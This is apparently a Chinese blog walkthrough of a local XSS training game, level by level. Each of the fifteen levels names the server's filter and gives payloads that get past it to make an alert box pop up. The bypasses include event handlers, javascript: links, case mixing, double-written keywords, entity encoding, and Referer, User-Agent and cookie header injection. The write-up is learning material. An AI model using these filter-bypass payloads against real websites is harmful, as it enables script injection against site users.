生命中遇到最美的景致,并不需要浓墨重彩去描绘,而是平常心踩出的一串淡淡的足迹。
今天在网上找到了一个XSS小游戏,觉得蛮好玩的,刚好自己对XSS理解不深,拿来学习正好!
这个XSS程序直接放到phpstudy中,访问即可
那么就开始我们的探索旅程吧!
Level 1:
根据URL和网页源代码可以看出test变量是可控的
1 | http://127.0.0.1/xss/level1.php?name=test |
1 | <script> |
那么可以构造payload,将test替换成payload即可,为:
1 | "<script>alert(/xss/)</script> |
我原先以为需要闭合前面的双引号才可以执行payload进行弹窗,但是不闭合也是可以弹窗的:
1 | <script>alert(/xss/)</script> |
Level 2:
先把第一关的payload拿来试试,看看被过滤了哪些参数
1 | <title>欢迎来到level2</title> |
发现是把URL中的keyword参数的值进行了编码,这是使用了一个过滤函数htmlspecialchars()将预定义的字符转换成HTML实体,但是并未对input标签内的test值进行编码,那么我们可以对这个标签构造闭合,payload为:
1 | "><script>alert(/xss/)</script> |
Level 3:
这次我们在搜索框输入xss,首先判断服务器将我们输入的内容放在代码的哪个位置,然后尝试闭合绕过
1 | <title>欢迎来到level3</title> |
可以看到有两处我们所搜索的xss字符串
而且发现URL也改变啦
1 | http://127.0.0.1/xss/level3.php?keyword=xss&submit=%E6%90%9C%E7%B4%A2 |
试了好几个payload都没有成功,然后没办法,开始看代码
发现有一段PHP代码
1 | <?php |
其中涉及到htmlspecialchars() 函数
在网上查了查这个函数,他是把预定义的字符转换为 HTML 实体。
1 |
|
但是htmlspecialchars()函数默认的配置不过滤单引号的。只有设置了:quotestyle选项为ENT_QUOTES才会过滤掉单引号。
我们来试一试用事件来弹框:
onmouseover 事件会在鼠标指针移动到指定的对象上时发生
1 | 'onmouseover=alert(1) x=' |
onclick 事件会在对象被点击时发生。
1 | 'onclick='window.alert() |
还有其他事件也是可以实现的,我这里就演示两个!
Level 4:
之后都是查看网站源码,旨在学习xss!
1 | <?php |
因为所获取到的str3的值只是过滤掉<>这两个符号,我们将Level 3的payload进行修改成为:
当鼠标移动到这个字符串的时候弹窗
1 | "onmouseover="alert(1) |
当鼠标点击输入框的时候弹窗
1 | "onclick='window.alert() |
Level 5:
1 | <?php |
这里我们将无法使用JavaScript事件来进行弹窗。在这里附上JavaScript事件的事件表,以供学习参考
属性 | 当以下情况发生时,出现此事件 | FF | N | IE |
---|---|---|---|---|
onabort | 图像加载被中断 | 1 | 3 | 4 |
onblur | 元素失去焦点 | 1 | 2 | 3 |
onchange | 用户改变域的内容 | 1 | 2 | 3 |
onclick | 鼠标点击某个对象 | 1 | 2 | 3 |
ondblclick | 鼠标双击某个对象 | 1 | 4 | 4 |
onerror | 当加载文档或图像时发生某个错误 | 1 | 3 | 4 |
onfocus | 元素获得焦点 | 1 | 2 | 3 |
onkeydown | 某个键盘的键被按下 | 1 | 4 | 3 |
onkeypress | 某个键盘的键被按下或按住 | 1 | 4 | 3 |
onkeyup | 某个键盘的键被松开 | 1 | 4 | 3 |
onload | 某个页面或图像被完成加载 | 1 | 2 | 3 |
onmousedown | 某个鼠标按键被按下 | 1 | 4 | 4 |
onmousemove | 鼠标被移动 | 1 | 6 | 3 |
onmouseout | 鼠标从某元素移开 | 1 | 4 | 4 |
onmouseover | 鼠标被移到某元素之上 | 1 | 2 | 3 |
onmouseup | 某个鼠标按键被松开 | 1 | 4 | 4 |
onreset | 重置按钮被点击 | 1 | 3 | 4 |
onresize | 窗口或框架被调整尺寸 | 1 | 4 | 4 |
onselect | 文本被选定 | 1 | 2 | 3 |
onsubmit | 提交按钮被点击 | 1 | 2 | 3 |
onunload | 用户退出页面 | 1 | 2 | 3 |
但是这串代码没有过滤<字符和>字符,那么我们可以使用标签的href属性构造payload进行弹窗
1 | "> <a href="javascript:alert(1)">xss</a> |
或者使用
1 | "><a href="javascript:onclick=alert()">xss</a> |
点击xss按钮即可弹窗,但是我不是很明白第二个payload,因为前面的PHP代码已经将on替换成0_n那么onclick不就变成了o_nclick,那么这个如何弹窗呢?我表示很困惑。。。。。后来发现网站并未将onclick中的on替换成o_n,所以便可以弹框。
Level 6:
1 | <?php |
emmmmm,看着这个代码过滤了很多的字符串,但是并没有进行大小写判定,很是好玩
1 | "><ScRipT>alert(/xss/)</ScrIpt> |
1 | "ONclick="window.alert() |
1 | "><a HrEf="javascript:onclick=alert()">xss</a> |
Level 7:
1 | <?php |
查看源码,发现了网站对传入的参数进行了小写转换,并且将一些特殊值替换成空,那么我们可以将其进行双写绕过
1 | "><Scrscriptipt>alert(/xss/)</scriScriptpt> |
1 | "OonNclick="window.alert() |
1 | "><a hrhrefef=javascriscriptpt:onclick=alert()>xss</a> |
1 | "><a hrhrefef=javascriscriptpt:alert()>xss</a> |
Level 8:
1 | <?php |
后台做了三个措施:将特殊字符替换/将获取到的字符串进行HTML编码/通过href属性将处理后得值输出
网上的教程是将伪协议JavaScript:alert(1)中的script的一个字符进行HTML编码绕过防护
1 | javascript:alert() |
或者
1 | javascript:alert() |
Level 9:
1 | <?php |
那么我们可以构造payload:
1 | javascript:alert(1)/*http://www.baidu.com*/ |
只要让程序检测到http://但不让这个生效即可,可以采用注释的方法构造payload。
Level 10:
1 | <?php |
分析代码,发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,
或许我们可以从隐藏的输入框下手
构造payload为:
1 | keyword = test&t_sort="type="text" onclick = "alert(1) |
1 | keyword = test&t_sort="type="text" onmouseover="alert(1) |
1 | keyword = test&t_sort="type="text" onmouseover=alert`1` |
Level 11:
查看后台代码
1 | <?php |
查看代码,发现可以对referer头部注入
我们burp抓包,添加Referer头部,插入payload
1 | GET /xss/level11.php?keyword=good%20job! HTTP/1.1 |
forward转发,关掉代理,点击页面的框即可弹窗成功!
Level 12:
第12关和第11关蛮相似的,12关是对UA头部进行xss注入
1 | <?php |
payload为:
1 | GET /xss/level12.php?keyword=good%20job! HTTP/1.1 |
Level 13:
1 | <?php |
查看代码,发现是xss进行的cookie注入,那么抓包修改cookie即可
1 | GET /xss/level13.php?keyword=good%20job! HTTP/1.1 |
Level 14:
查看源码
1 | <h1 align=center>欢迎来到level14</h1> |
payload:
1 | "><img src=1 onerror=alert(1)> |
Level 15:
1 | <?php |
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
其payload为:
1 | src=level1.php?name=1'window.alert() |
或者包含第一关
1 | src='level1.php?name=<img src=x onerror=alert(1)>' |